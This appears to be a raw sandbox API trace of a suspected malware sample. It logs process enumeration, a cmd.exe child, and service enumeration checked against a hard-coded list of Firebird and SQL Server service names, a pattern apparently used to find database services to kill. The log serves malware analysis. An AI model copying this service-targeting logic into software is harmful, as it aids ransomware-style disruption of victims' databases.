[0159.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0159.780] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0159.780] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0159.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0159.780] lstrlenW (lpString="ProfSvc") returned 7 [0159.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0159.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0159.780] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0159.780] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0159.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0159.780] lstrlenW (lpString="RpcEptMapper") returned 12 [0159.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0159.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0159.780] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0159.780] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0159.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0159.780] lstrlenW (lpString="RpcSs") returned 5 [0159.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0159.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0159.780] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0159.780] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0159.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0159.780] lstrlenW (lpString="SamSs") returned 5 [0159.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0159.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0159.780] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0159.780] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0159.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0159.780] lstrlenW (lpString="Schedule") returned 8 [0159.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0159.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0159.780] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0159.780] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0159.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0159.781] lstrlenW (lpString="SecurityHealthService") returned 21 [0159.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0159.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0159.781] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0159.781] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0159.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0159.781] lstrlenW (lpString="SENS") returned 4 [0159.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0159.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0159.781] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0159.781] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0159.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0159.781] lstrlenW (lpString="ShellHWDetection") returned 16 [0159.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0159.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0159.781] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0159.781] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0159.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0159.781] lstrlenW (lpString="Spooler") returned 7 [0159.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0159.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0159.781] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0159.781] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0159.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0159.781] lstrlenW (lpString="StateRepository") returned 15 [0159.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0159.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0159.781] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0159.781] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0159.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0159.781] lstrlenW (lpString="SysMain") returned 7 [0159.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0159.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0159.781] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0159.781] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0159.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0159.782] lstrlenW (lpString="SystemEventsBroker") returned 18 [0159.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0159.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0159.782] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0159.782] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0159.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0159.782] lstrlenW (lpString="Themes") returned 6 [0159.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0159.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0159.782] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0159.782] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0159.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0159.782] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0159.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0159.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0159.782] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0159.782] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0159.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0159.782] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0159.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0159.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0159.782] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0159.782] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0159.782] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x403f3b0 | out: hHeap=0x420000) returned 1 [0159.782] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x434 [0159.789] Process32FirstW (in: hSnapshot=0x434, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0159.789] Process32NextW (in: hSnapshot=0x434, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0159.790] lstrlenW (lpString="System") returned 6 [0159.790] Process32NextW (in: hSnapshot=0x434, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0159.790] lstrlenW (lpString="smss.exe") returned 8 [0159.790] Process32NextW (in: hSnapshot=0x434, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0159.791] lstrlenW (lpString="csrss.exe") returned 9 [0159.791] Process32NextW (in: hSnapshot=0x434, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0159.791] lstrlenW (lpString="wininit.exe") returned 11 [0159.791] Process32NextW (in: hSnapshot=0x434, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0159.792] lstrlenW (lpString="csrss.exe") returned 9 [0159.792] Process32NextW (in: hSnapshot=0x434, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0159.792] lstrlenW (lpString="winlogon.exe") returned 12 [0159.792] Process32NextW (in: hSnapshot=0x434, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0159.792] lstrlenW (lpString="services.exe") returned 12 [0159.793] Process32NextW (in: hSnapshot=0x434, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0159.793] lstrlenW (lpString="lsass.exe") returned 9 [0159.793] Process32NextW (in: hSnapshot=0x434, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0159.793] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0159.793] Process32NextW (in: hSnapshot=0x434, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0159.794] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0159.794] Process32NextW (in: hSnapshot=0x434, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.794] lstrlenW (lpString="svchost.exe") returned 11 [0159.794] Process32NextW (in: hSnapshot=0x434, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.795] lstrlenW (lpString="svchost.exe") returned 11 [0159.795] Process32NextW (in: hSnapshot=0x434, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0159.795] lstrlenW (lpString="dwm.exe") returned 7 [0159.795] Process32NextW (in: hSnapshot=0x434, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.795] lstrlenW (lpString="svchost.exe") returned 11 [0159.796] Process32NextW (in: hSnapshot=0x434, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.796] lstrlenW (lpString="svchost.exe") returned 11 [0159.796] Process32NextW (in: hSnapshot=0x434, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.796] lstrlenW (lpString="svchost.exe") returned 11 [0159.796] Process32NextW (in: hSnapshot=0x434, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.797] lstrlenW (lpString="svchost.exe") returned 11 [0159.797] Process32NextW (in: hSnapshot=0x434, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.797] lstrlenW (lpString="svchost.exe") returned 11 [0159.797] Process32NextW (in: hSnapshot=0x434, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.798] lstrlenW (lpString="svchost.exe") returned 11 [0159.798] Process32NextW (in: hSnapshot=0x434, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.798] lstrlenW (lpString="svchost.exe") returned 11 [0159.798] Process32NextW (in: hSnapshot=0x434, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.798] lstrlenW (lpString="svchost.exe") returned 11 [0159.798] Process32NextW (in: hSnapshot=0x434, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.799] lstrlenW (lpString="svchost.exe") returned 11 [0159.799] Process32NextW (in: hSnapshot=0x434, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.799] lstrlenW (lpString="svchost.exe") returned 11 [0159.799] Process32NextW (in: hSnapshot=0x434, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0159.800] lstrlenW (lpString="spoolsv.exe") returned 11 [0159.800] Process32NextW (in: hSnapshot=0x434, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.800] lstrlenW (lpString="svchost.exe") returned 11 [0159.800] Process32NextW (in: hSnapshot=0x434, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0159.801] lstrlenW (lpString="audiodg.exe") returned 11 [0159.801] Process32NextW (in: hSnapshot=0x434, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0159.801] lstrlenW (lpString="sihost.exe") returned 10 [0159.801] Process32NextW (in: hSnapshot=0x434, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.801] lstrlenW (lpString="svchost.exe") returned 11 [0159.801] Process32NextW (in: hSnapshot=0x434, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0159.802] lstrlenW (lpString="taskhostw.exe") returned 13 [0159.802] Process32NextW (in: hSnapshot=0x434, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0159.802] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0159.802] Process32NextW (in: hSnapshot=0x434, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0159.803] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0159.803] Process32NextW (in: hSnapshot=0x434, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0159.803] lstrlenW (lpString="Memory Compression") returned 18 [0159.803] Process32NextW (in: hSnapshot=0x434, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x98c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0159.803] lstrlenW (lpString="explorer.exe") returned 12 [0159.804] Process32NextW (in: hSnapshot=0x434, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0159.804] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0159.804] Process32NextW (in: hSnapshot=0x434, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0159.804] lstrlenW (lpString="SearchUI.exe") returned 12 [0159.804] Process32NextW (in: hSnapshot=0x434, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0159.805] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0159.805] Process32NextW (in: hSnapshot=0x434, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0159.805] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0159.805] Process32NextW (in: hSnapshot=0x434, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0159.806] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0159.806] Process32NextW (in: hSnapshot=0x434, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0159.936] lstrlenW (lpString="cmd.exe") returned 7 [0159.936] Process32NextW (in: hSnapshot=0x434, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0159.937] lstrlenW (lpString="conhost.exe") returned 11 [0159.937] Process32NextW (in: hSnapshot=0x434, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0159.937] CloseHandle (hObject=0x434) returned 1 [0159.937] Sleep (dwMilliseconds=0x1f4) [0160.787] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x408ddf8 [0160.804] EnumServicesStatusExW (in: hSCManager=0x408ddf8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0160.806] GetLastError () returned 0xea [0160.806] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1b58) returned 0x4087df8 [0160.807] EnumServicesStatusExW (in: hSCManager=0x408ddf8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4087df8, cbBufSize=0x1b58, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4087df8, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0160.807] CloseServiceHandle (hSCObject=0x408ddf8) returned 1 [0160.807] lstrlenW (lpString="AppXSvc") returned 7 [0160.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0160.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0160.808] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0160.808] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0160.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0160.808] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0160.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0160.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0160.808] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0160.808] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0160.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0160.808] lstrlenW (lpString="Audiosrv") returned 8 [0160.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0160.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0160.808] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0160.808] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0160.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0160.808] lstrlenW (lpString="BFE") returned 3 [0160.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0160.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0160.808] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0160.808] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0160.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0160.808] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0160.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0160.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0160.808] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 